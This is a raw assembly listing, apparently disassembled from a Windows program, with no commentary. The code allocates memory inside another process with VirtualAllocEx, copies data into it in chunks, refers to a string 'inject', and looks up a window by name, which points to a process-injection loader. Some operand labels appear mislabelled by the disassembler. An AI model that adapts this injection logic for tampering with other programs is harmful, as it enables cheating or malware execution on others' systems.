mov qword [rsp + 0x1bd0], rax
lea rcx, [rsp + 0x1ed0]
call fcn.14000ae90
mov qword [rsp + 0x1bd8], rax
mov r8, qword [rsp + 0x1bd0]
mov rdx, qword [rsp + 0x1bd8]
mov rcx, qword [rsp + 0xde0]
call fcn.140033090
mov rax, qword [rsp + 0xde0]
mov qword [rsp + 0x870], rax
mov qword [rsp + 0x28d8], 0
lea rcx, [rsp + 0x1ed0]
call fcn.1400074e0
mov qword [rsp + 0x398], rax
mov qword [rsp + 0x660], 0
jmp 0x14002fa3b
mov rax, qword [rsp + 0x660]
inc rax
mov qword [rsp + 0x660], rax
mov rax, qword [rsp + 0x398]
sub rax, 0x30000
mov qword [rsp + 0x398], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x660], rax
jae 0x14002fb71
cmp qword [rsp + 0x398], 0
jbe 0x14002fb71
cmp qword [rsp + 0x398], 0x7fffffff
jae 0x14002fb71
cmp qword [rsp + 0x398], 0x30000
jbe 0x14002fa93
mov qword [rsp + 0xdd8], 0x30000
jmp 0x14002faa3
mov rax, qword [rsp + 0x398]
mov qword [rsp + 0xdd8], rax
mov rax, qword [rsp + 0xdd8]
mov qword [rsp + 0xa58], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1be0], rax
mov rdx, qword [rsp + 0x660]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x1be0]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x860], rax
lea rdx, [rsp + 0x870]
mov rcx, qword [rsp + 0x860]
call fcn.140013f40
mov rax, qword [rsp + 0x860]
add rax, 0x10
lea rdx, [rsp + 0xa58]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0xa58]
or rax, 0x1f
mov qword [rsp + 0x1be8], rax
mov rax, qword [rsp + 0x860]
add rax, 0x18
lea rdx, [rsp + 0x1be8]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0xa58]
mov rcx, qword [rsp + 0x870]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x870], rax
jmp 0x14002fa12
lea rcx, [rsp + 0x1ed0]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2a68]
call fcn.140017380
mov qword [rsp + 0x668], 0
jmp 0x14002fbad
mov rax, qword [rsp + 0x668]
inc rax
mov qword [rsp + 0x668], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x668], rax
jae 0x14002fd9c
lea rcx, [rsp + 0x2a6]
call fcn.140006160
mov qword [rsp + 0x1bf0], rax
mov byte [rsp + 0x220], 0
mov byte [rsp + 0x221], 0
mov byte [rsp + 0x222], 0
mov byte [rsp + 0x223], 0
mov byte [rsp + 0x224], 0
mov byte [rsp + 0x225], 0
mov byte [rsp + 0x226], 0
mov byte [rsp + 0x227], 0
mov byte [rsp + 0x228], 0
mov byte [rsp + 0x229], 0
mov byte [rsp + 0x22a], 0
mov byte [rsp + 0x22b], 0
mov byte [rsp + 0x22c], 0
mov byte [rsp + 0x22d], 0
mov byte [rsp + 0x22e], 0
mov byte [rsp + 0x22f], 0
mov byte [rsp + 0x230], 0
mov byte [rsp + 0x231], 0
mov byte [rsp + 0x232], 0
mov byte [rsp + 0x233], 0
mov byte [rsp + 0x234], 0
mov byte [rsp + 0x235], 0
mov byte [rsp + 0x236], 0
mov byte [rsp + 0x237], 0
mov byte [rsp + 0x238], recv
mov byte [rsp + 0x239], 0
mov byte [rsp + 0x23a], 0
mov byte [rsp + 0x23b], 0
mov byte [rsp + 0x23c], 0
mov byte [rsp + 0x23d], 0
mov byte [rsp + 0x23e], 0
mov byte [rsp + 0x23f], 0
lea rax, [rsp + 0x240]
mov r8, rax
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x2d98]
call fcn.140015510
lea rcx, [rsp + 0x2450]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x2460]
lea rcx, [rsp + 0x2450]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x1bf0]
lea rdx, [rsp + 0x2460]
lea rcx, [rsp + 0x2828]
call fcn.1400158e0
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1bf8], rax
mov rdx, qword [rsp + 0x668]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1bf8]
add rcx, qword [rax]
mov rax, rcx
lea rdx, [rsp + 0x2828]
mov rcx, rax
call fcn.140013e50
nop
lea rcx, [rsp + 0x2828]
call fcn.140017680
jmp 0x14002fb9a
lea rcx, [rsp + 0x2a7]
call fcn.140006160
mov qword [rsp + 0x1c00], rax
mov byte [rsp + 0x270], 0
mov byte [rsp + 0x271], 0
mov byte [rsp + 0x272], 0
mov byte [rsp + 0x273], 0
mov byte [rsp + 0x274], 0
mov byte [rsp + 0x275], 0
mov byte [rsp + 0x276], 0
mov byte [rsp + 0x277], 0
mov byte [rsp + 0x278], 0
mov byte [rsp + 0x279], 0
mov byte [rsp + 0x27a], 0
mov byte [rsp + 0x27b], 0
mov byte [rsp + 0x27c], 0
mov byte [rsp + 0x27d], 0
mov byte [rsp + 0x27e], 0
mov byte [rsp + 0x27f], 0
mov byte [rsp + 0x280], 0
mov byte [rsp + 0x281], 0
mov byte [rsp + 0x282], 0
mov byte [rsp + 0x283], 0
mov byte [rsp + 0x284], 0
mov byte [rsp + 0x285], 0
mov byte [rsp + 0x286], 0
mov byte [rsp + 0x287], 0
mov byte [rsp + 0x288], recv
mov byte [rsp + 0x289], 0
mov byte [rsp + 0x28a], 0
mov byte [rsp + 0x28b], 0
mov byte [rsp + 0x28c], 0
mov byte [rsp + 0x28d], 0
mov byte [rsp + 0x28e], 0
mov byte [rsp + 0x28f], 0
lea rax, [rsp + 0x290]
mov r8, rax
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x2da8]
call fcn.140015510
lea rcx, [rsp + 0x2470]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x2480]
lea rcx, [rsp + 0x2470]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x1c00]
lea rdx, [rsp + 0x2480]
lea rcx, [rsp + 0x2840]
call fcn.1400158e0
nop
movsxd rax, dword [0x14047d008]
mov rcx, qword [rsp + 0x1f8]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x2840]
mov rcx, rax
call fcn.140013e50
nop
lea rcx, [rsp + 0x2840]
call fcn.140017680
nop
lea rcx, [rsp + 0x3e0]
call fcn.1400067e0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 3
lea rdx, [rsp + 0x5080]
lea rcx, [rsp + 0x42f0]
call fcn.140014aa0
nop
lea rcx, [rsp + 0x42f0]
call fcn.140030790
movzx eax, al
test eax, eax
je 0x140030507
lea rdx, [0x140365b57]
lea rcx, [rsp + 0xf38]
call fcn.1400064f0
nop
lea rdx, [rsp + 0xe6]
lea rcx, [rsp + 0x42f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
mov qword [rsp + 0xdd0], rax
mov rax, qword [rsp + 0xdd0]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0xdd0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14003001b
movzx edx, byte [rsp + 0xe6]
lea rcx, [rsp + 0xf38]
call fcn.140006930
jmp 0x14002ffb9
lea rcx, [rsp + 0x42f0]
call fcn.14001ed60
lea rcx, [rsp + 0xf38]
call fcn.140020310
movzx eax, al
test eax, eax
jne 0x1400304fa
mov byte [rsp + 0x118], 0
mov byte [rsp + 0x119], 0
mov dword [rsp + 0x2188], 0
mov dword [rsp + 0x218c], 0
mov dword [rsp + 0x2190], 0
mov dword [rsp + 0x2194], 0
mov qword [rsp + 0x2198], 0
mov qword [rsp + 0x21a0], 0
mov qword [rsp + 0x21a8], 0
mov qword [rsp + 0x21b0], 0
mov qword [rsp + 0x21b8], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x118]
lea r8, [rsp + 0x2188]
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0x3448]
call fcn.140169b00
mov qword [rsp + 0x1c08], rax
mov rdx, qword [rsp + 0x1c08]
lea rcx, [rsp + 0xf38]
call fcn.140009f60
lea rcx, [rsp + 0x3448]
call fcn.1400067e0
xor edx, edx
lea rcx, [rsp + 0xf38]
call fcn.140006890
movsx eax, byte [rax]
test eax, eax
jle 0x14003013d
xor edx, edx
lea rcx, [rsp + 0xf38]
call fcn.140006890
movsx eax, byte [rax]
cmp eax, 0xa
jl 0x1400301a9
lea rdx, [0x140366e48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1c18], rax
mov edx, 1
lea rcx, [rsp + 0xf38]
call fcn.140006890
mov qword [rsp + 0x1c10], rax
mov rdx, qword [rsp + 0x1c10]
mov rcx, qword [rsp + 0x1c18]
call fcn.140007b60
mov qword [rsp + 0x1c20], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1c20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400304aa
lea rdx, [rsp + 0xf38]
lea rcx, [rsp + 0x2148]
call fcn.140009280
nop
lea rcx, [rsp + 0x2148]
call fcn.1400074e0
mov qword [rsp + 0x1c28], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1c30], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x1c28]
xor edx, edx
mov rcx, qword [rsp + 0x1c30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xda8], rax
lea rcx, [rsp + 0x2148]
call fcn.1400074e0
mov qword [rsp + 0x1c38], rax
lea rcx, [rsp + 0x2148]
call fcn.14000ae90
mov qword [rsp + 0x1c40], rax
mov r8, qword [rsp + 0x1c38]
mov rdx, qword [rsp + 0x1c40]
mov rcx, qword [rsp + 0xda8]
call fcn.140033090
mov rax, qword [rsp + 0xda8]
mov qword [rsp + 0x890], rax
mov qword [rsp + 0x28e0], 0
lea rcx, [rsp + 0x2148]
call fcn.1400074e0
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x670], 0
jmp 0x1400302c0
mov rax, qword [rsp + 0x670]
inc rax
mov qword [rsp + 0x670], rax
mov rax, qword [rsp + 0x3d0]
sub rax, 0x30000
mov qword [rsp + 0x3d0], rax
lea rcx, [rsp + 0xe00]
call fcn.140035930
cmp qword [rsp + 0x670], rax
jae 0x1400303f7
cmp qword [rsp + 0x3d0], 0
jbe 0x1400303f7
mov eax, 0xffffffff
cmp qword [rsp + 0x3d0], rax
jae 0x1400303f7
cmp qword [rsp + 0x3d0], 0x30000
jbe 0x140030319
mov qword [rsp + 0xc88], 0x30000
jmp 0x140030329
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0xc88], rax
mov rax, qword [rsp + 0xc88]
mov qword [rsp + 0x888], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1c48], rax
mov rdx, qword [rsp + 0x670]
lea rcx, [rsp + 0xe00]
call fcn.140018430
mov rcx, qword [rsp + 0x1c48]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x878], rax
lea rdx, [rsp + 0x890]
mov rcx, qword [rsp + 0x878]
call fcn.140013f40
mov rax, qword [rsp + 0x878]
add rax, 0x10
lea rdx, [rsp + 0x888]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x888]
or rax, 0x1f
mov qword [rsp + 0x1c50], rax
mov rax, qword [rsp + 0x878]
add rax, 0x18
lea rdx, [rsp + 0x1c50]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0x888]
mov rcx, qword [rsp + 0x890]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x890], rax
jmp 0x140030297
movsxd rax, dword [0x14047d008]
mov rcx, qword [rsp + 0x678]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x898], rax
lea rdx, str.inject
lea rcx, [rsp + 0x2a88]
call fcn.1400064f0
nop
lea rdx, [rsp + 0x2a88]
mov rcx, qword [rsp + 0x898]
call fcn.1402c7030
nop
lea rcx, [rsp + 0x2a88]
call fcn.1400067e0
mov qword [rsp + 0x1c58], 6
mov rax, qword [rsp + 0x898]
add rax, 0x10
lea rdx, [rsp + 0x1c58]
mov rcx, rax
call fcn.140013f40
mov qword [rsp + 0x1c60], 0xf
mov rax, qword [rsp + 0x898]
add rax, 0x18
lea rdx, [rsp + 0x1c60]
mov rcx, rax
call fcn.140013f40
nop
lea rcx, [rsp + 0x2148]
call fcn.1400067e0
mov edx, 1
lea rcx, [rsp + 0x4620]
call fcn.1400150d0
nop
mov r9d, 0x40
mov r8d, send
lea rdx, [rsp + 0x5080]
lea rcx, [rsp + 0x4620]
call fcn.1400332e0
lea rcx, [rsp + 0x4620]
call fcn.14001ee80
nop
lea rcx, [rsp + 0x4620]
call fcn.1400194c0
nop
lea rcx, [rsp + 0xf38]
call fcn.1400067e0
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140366e58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x42f0]
call fcn.140019400
nop
lea rcx, [rsp + 0xab8]
call fcn.1400177c0
jmp 0x140023f34
mov byte [rsp + 0x71], 0
lea rcx, [rsp + 0x2350]
call fcn.140017660
nop
lea rcx, [rsp + 0x4730]
call fcn.1400194c0
nop
lea rcx, [rsp + 0x1d68]
call fcn.1400177c0
nop
lea rcx, [rsp + 0x1d80]
call fcn.1400177c0
nop
lea rcx, [rsp + 0x1f0]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x680]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x1f8]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x200]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x178]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x1fa0]
call fcn.1400176c0
nop
lea rcx, [rsp + 0x50]
call fcn.1400176c0
nop
lea rcx, [rsp + 0xe00]
call fcn.1400176c0
mov byte [rsp + 0xe7], 1
lea rcx, [rsp + 0x490]
call fcn.1400061b0
nop
lea rcx, [rsp + 0x6e8]
call fcn.140017680
nop
lea rcx, [rsp + 0x1d98]
call fcn.140017680
nop
lea rcx, [rsp + 0xf00]
call fcn.140017680
nop
lea rcx, [rsp + 0xe18]
call fcn.140017680
nop
lea rcx, [rsp + 0xee0]
call fcn.140017380
nop
lea rcx, [rsp + 0xf58]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x700]
call fcn.140017680
movzx eax, byte [rsp + 0xe7]
add rsp, 0x8dc8
pop rdi
pop rsi
ret